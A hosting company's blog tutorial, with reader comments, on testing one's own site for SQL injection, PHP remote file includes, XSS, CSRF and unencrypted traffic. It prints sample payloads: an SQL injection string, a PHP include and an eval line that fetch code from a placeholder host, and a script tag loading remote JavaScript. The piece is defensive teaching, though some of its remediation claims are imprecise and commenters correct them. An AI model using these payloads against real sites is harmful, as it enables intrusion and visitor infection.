Are you familiar with white hat hacking? If you aren’t, you should be. White hat hacking is a planned attack that checks your systems for vulnerabilities. After the hacker successfully (and harmlessly) compromises your environment, they tell you what to do to fix it.
Even though most security loopholes are well-documented, I’m surprised how many open exploits are in applications that we security scan here at INetU. So stand by for a little White Hat Hacking 101, where I’ll teach you how to hack into your own site.
Hack One: Injection Attacks
I’ll start with injection exploits because most IT professionals, even though they have cursory basic understanding of the dangers, leave too many sites open to the vulnerability, according to the Open Web Applications Security Project (OWASP). Injection is passing malicious user-supplied data to an interpreter. The most common form is SQL Injection, where the hacker passes a SQL command to your database. Are you at risk? Let’s find out.
Find a page on your application that accepts user-supplied information to access a database:
- A login form, signup form, or “forgot password” form is a good start.
- A dynamic page that uses URL variables such as ID (product information pages are good for this).
Knowing that the database command takes the user-supplied information into a WHERE clause, try to finish the command with SQL that will throw an error. So on our login form, perhaps we want to try putting this into the username: username’ or fake_column IS NULL. If you are greeted with a database error message page, success! You’ve hacked your own site.
The Risk: Our hack above seems pretty harmless, but it just finds the place in your application susceptible to malicious code injection. Once a hacker knows they have an unprotected line to your database, the possibilities are endless: vandalism, data theft, or even total system compromise.
The Fix: There are two main ways to protect your site from injection: 1) always sanitize user-submitted data (if a username can’t contain a single quote character, don’t let users enter it), and 2) use a web-specific database login that has the least permissions necessary to perform its tasks (your web application doesn’t need admin access to your database). OWASP has a SQL Injection Prevention Cheat Sheet that is also particularly helpful.
Hack Two: PHP Remote File Includes
If your site doesn’t use any PHP, then good news: you’re safe! But according to the SANS Institute, PHP is the most popular web application framework. When used properly, PHP can be a very powerful and useful tool for a number of different applications. Perhaps because of its popularity, it’s also an enticing target for hackers to find exploits. The PHP function allow_url_fopen is a favorite for hackers not only because it allows them to run their scripts on your site, but also because it is enabled by default.
Are you at risk? Let’s find out.
Find a PHP script that uses the include() function. If you have a path name in the include, change it to the absolute URL equivalent. If the file still works after this change, success! You’ve just hacked your own site.
The Risk: Okay, the hacker might need to do a little more legwork in this example, but it severely increases the surface area for attack. All a hacker needs to do is find one file to manipulate and add the line: include(’http://www.example.com/malicious_code.php’) and you are compromised. Compromise might include password stealing, remote root kit installation, and in some cases complete system compromise.
The Fix: Turning off allow_url_fopen is the most obvious fix, but if that isn’t an option, you can try turning on PHP’s safe mode to prevent the most common malicious functions from executing on your server. Keep PHP updated with the latest security patches and be aware of emerging threats by following tech news outlets.
Hack Three: Cross Site Scripting (XSS)
Cross Site Scripting occurs when a website takes malicious user input and, without question, posts the input to their page. The most common reason for a web application to do this is capturing user feedback: product reviews, blog comments, etc. As today’s Internet user can open discussions and interact with more websites, XSS hacks are becoming an ever-prevalent problem, possibly soon to be the most common vulnerability on the Internet.
So are you at risk? Let’s find out.
Search your application for a page that takes user input and outputs it directly to a webpage. Common examples:
- Forums
- Comments
- Wikis
- Reviews
Craft a post that calls on JavaScript from an outside server. For example, try to post: This is a hacked entry <script src=”http://www.example.com/malicious.js”></script>. Now load the page where that post is outputted. Did your script run? Then success! You’ve just hacked your own site.
The Risk: The risk here is both for you and for your visitors. First, this opens your visitors to worms infected through the linked malicious code. Second, your site can be defaced with code that manipulates how your page displays. Third, your hijacked site can be flagged by Google and other search engines as a malicious site, and it could take you months to regain your page rank status. Lastly, it opens the next vulnerability: Cross Site Request Forgeries (CSRF).
The Fix: Fixing XSS and CSRF vulnerabilities require the same steps, so read below.
Hack Four: Cross Site Request Forgeries (CSRF)
In a CSRF attack, a hacker uses a cross-site script to hijack a logged-in user’s credentials. If you are at risk for XSS, then you might be at risk for a CSRF attack. Are you? Let’s find out.
Does your application rely on credentials, like session cookies, to grant permissions to users on your site? If you don’t know offhand, try taking a look at the cookies your browser is storing when you login to your application. Even easier, if your site has a “remember me” feature for logging in, and you know from above you are vulnerable for XSS attacks, then success! You’ve just hacked your own site.
The Risk: The most common use of CSRF is to propagate the virus. The Samy MySpace Worm is a good example. Most security-aware users don’t trust random messages from profiles that look “spammy” and therefore don’t open themselves to catching an XSS worm. However, if that user has a friend who has been compromised, a CSRF attack can send a message as the trusted friend with the infected message, tricking the user to become infected. There are additional risks if the infected user has “moderator” or “admin” privileges to the site because the hacker automatically gains those permissions, which could end with entire site compromise.
The Fix: Never trust user-supplied input. Erase any JavaScript supplied by the user, or for that matter, any encoded information. Or limit the user’s ability to a strict set of tags (bold and italic, for example) and remove modifiers to those tags on output. For more information OWASP has a comprehensive guide to protection against XSS attacks.
Hack Five: Insecure Communications
Perhaps one of the oldest tricks in the book, site operators and visitors often forget that everything transmitted across an insecure protocol—including FTP and HTTP—is plaintext, meaning that usernames, passwords, private messages, or even credit card information is ripe for the taking for a hacker with the proper tools. A “man-in-the-middle” attack occurs when a malicious user “sniffs” the packets sent between source and destination.
Are you at risk? Let’s find out.
Navigate to a page on your site where you fill out a form, or when user information is displayed to the site visitor. Is this happening through HTTPS? (Your browser should indicate a lock icon or a green location bar). If not, that information can be intercepted. Don’t forget FTP. Are your login credentials for an unsecured FTP port the same as for your database or other secured systems? Do you upload or download sensitive files through unsecured FTP? Success! You’ve just hacked your own site.
The Risk: This depends on what information a hacker is able to recover. The most basic security breach could be a simple invasion of privacy, but could also result in identity theft, leaking of confidential documents, or the compromise of admin passwords leading to full site compromise.
The Fix: The use of SSL certificates is the most common fix for web-based communication. SSL encrypts data before transmission and decrypts on arrival. The “man-in-the-middle” is left with (nearly) undecipherable encrypted data. Other technologies exist that can achieve the same end depending on the means of transportation. SSL isn’t a cure-all, however. Make sure to limit the private data you request from users, or subsequently transmit back to them. For example, when displaying the credit card number on file to a user, only display the last four digits, with asterisk marks replacing the remaining numbers.
Other posts that might interest you:
Tags: hacking, list, security, sql injection, tutorial, xss
![[img]](/imagesb/yellow_star.jpg)
Share this article:
![[]](/imagesb/reflection02.gif)
Hack Two:
allow_url_fopen does not allow you to include(’http://www.example.com/malicious_code.php’) it allows PHP to access files on a remote server, e.g. txt, html, gif etc.
so a hack could do: eval(file_get_contents(’http://www.example.com/malicious_code.php.txt’)); but not directly run it.
The option that has to be enabled for the original hack to work is allow_url_include
You point out a similar way to exploit this feature, but according to PHP’s documentation:
If “URL fopen wrappers” are enabled in PHP (which they are in the default configuration), you can specify the file to be included using a URL (via HTTP or other supported wrapper - see List of Supported Protocols/Wrappers for a list of protocols) instead of a local pathname. If the target server interprets the target file as PHP code, variables may be passed to the included file using a URL request string as used with HTTP GET.
In either case the point is that allow_url_fopen is a risky proposition. You should always look for a different way to accomplish the task and just turn it off.
Read more about it here:
http://us.php.net/manual/en/function.include.php
Nice writeup. Except that CSRF and XSS require quite different remediation. For XSS the solution is to properly escape untrusted data before putting it in HTML. You have to escape differently depending on the context (body, attribute, javascript, css, etc…). For CSRF, you have to include a random token for each user in all of your links and forms. Then when you receive a request, you have to check for the token. Good luck!
Excellent writeup! Now, if only we could get every web dev and his/her dog to read this…
These have to be the most common easiest exploitable holes.
Though.. Not really sure for the last one but do not want to downplay it either. At least in the beginning encrypting everything is better than no encryption..
And wasn’t there some way to steal sessionIDs if session was started in HTTP and then used after authetication in HTTPS and returning to HTTP? Perhaps I need to refresh my memory on that.
Anyways.. I’d rather have my sites go down because server is on fire than having someone with sniffed credentials destroying everything!
Doesn’t PHP have magic quotes that can prevent most of form problems by default. Why not strip slashes from any user input. SSL really doesn’t prevent anything, except it shows you are the site you say you are.
You are correct in that PHP does have the magic quotes feature, however it is not recommended to rely upon it as a security measure as it can lead to some bad coding habits. Furthermore, “This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 6.0.0. Relying on this feature is highly discouraged.”
While SSL does help to reinforce that you are not viewing an illegitimate version of a site, it also helps to mitigate “man-in-the-middle” attacks by encrypting traffic between you and your destination. Anytime you find yourself entering in a username and password or even a credit card number, you should always be sure the site you are browsing encrypts traffic with SSL or some other form of encryption.
Almost half way done on building my first major site, and good thing I Stumbled on this. I shall start making changes. Very helpful post. Thanks.
I think a PHP website is most likely to suffer an attack, this is because PHP does not come with the security features that are available with ASP.NET such as the Anit-XSS library.
My advice, which is targeted to PHP programmers specifically, is to break down your programming enough so that you can understand every step. By understanding your own programming you will find it is easier to work out which parts pose a security threat.
A starting point to do this could be to write a class that wraps the query string. Then using the class you can access the query string data in a consistent way. This way you can keep your programming tidy while preventing such attacks.
In respect to “matthew”’s comments:
You should not reply on magic quotes in PHP, and in fact you should remove anything that depends on magic quotes and ensure it is turned off as it causes more problems than solutions. PHP have taken the decision to remove magic quotes as from PHP 6 so make sure you update your programming to reflect this.
@ape web -sounds a lot like the anti xss library for PHP
All software authors, regardless of their platform, need to be aware of the risks and code accordingly. Neither PHP nor .NET is special in this regard.
Major security companies also include in their security reports:
Error management.
You may expose important information when an error arises in your application, such as:
-table not found: mysuperimportanttable
The solution is always manage exceptions or set a “status 500″ error page.
Folder names/protection.
Many CMS use a specific folder to manage site content such as “admin”, “administrator”, “backend”, etc.
A good practice would be to use other folder name and protect it by using the server, for Win this would mean protect it with IIS.
Thanx for the information. I was looking for something like this. I want to host my own site. But wanted to check it for security. Provide links to related topics if possible.Keep posting.
how can you exploit the php includes if you can’t even see the php code? Don’t you have to be logged into the server to see it? At that point, you’ve been hacked already.
In this example, the hacker uses a malicious script hosted on his site and makes your web application run it. This only requires the hacker to hijack a single file (header.php, config.php) in your application and append the include function. Such a hijack is plausible without the hacker gaining full access to your site, especially if you aren’t careful with file permissions and use default file names for common web applications.
This kind of hack generally takes a trusted site and turns it into a zombie serving malicious code to visitors. It works right up until Google flags your site as malicious, and you’ll spend the next nine months after removing the hack trying to get your Google ranking back up.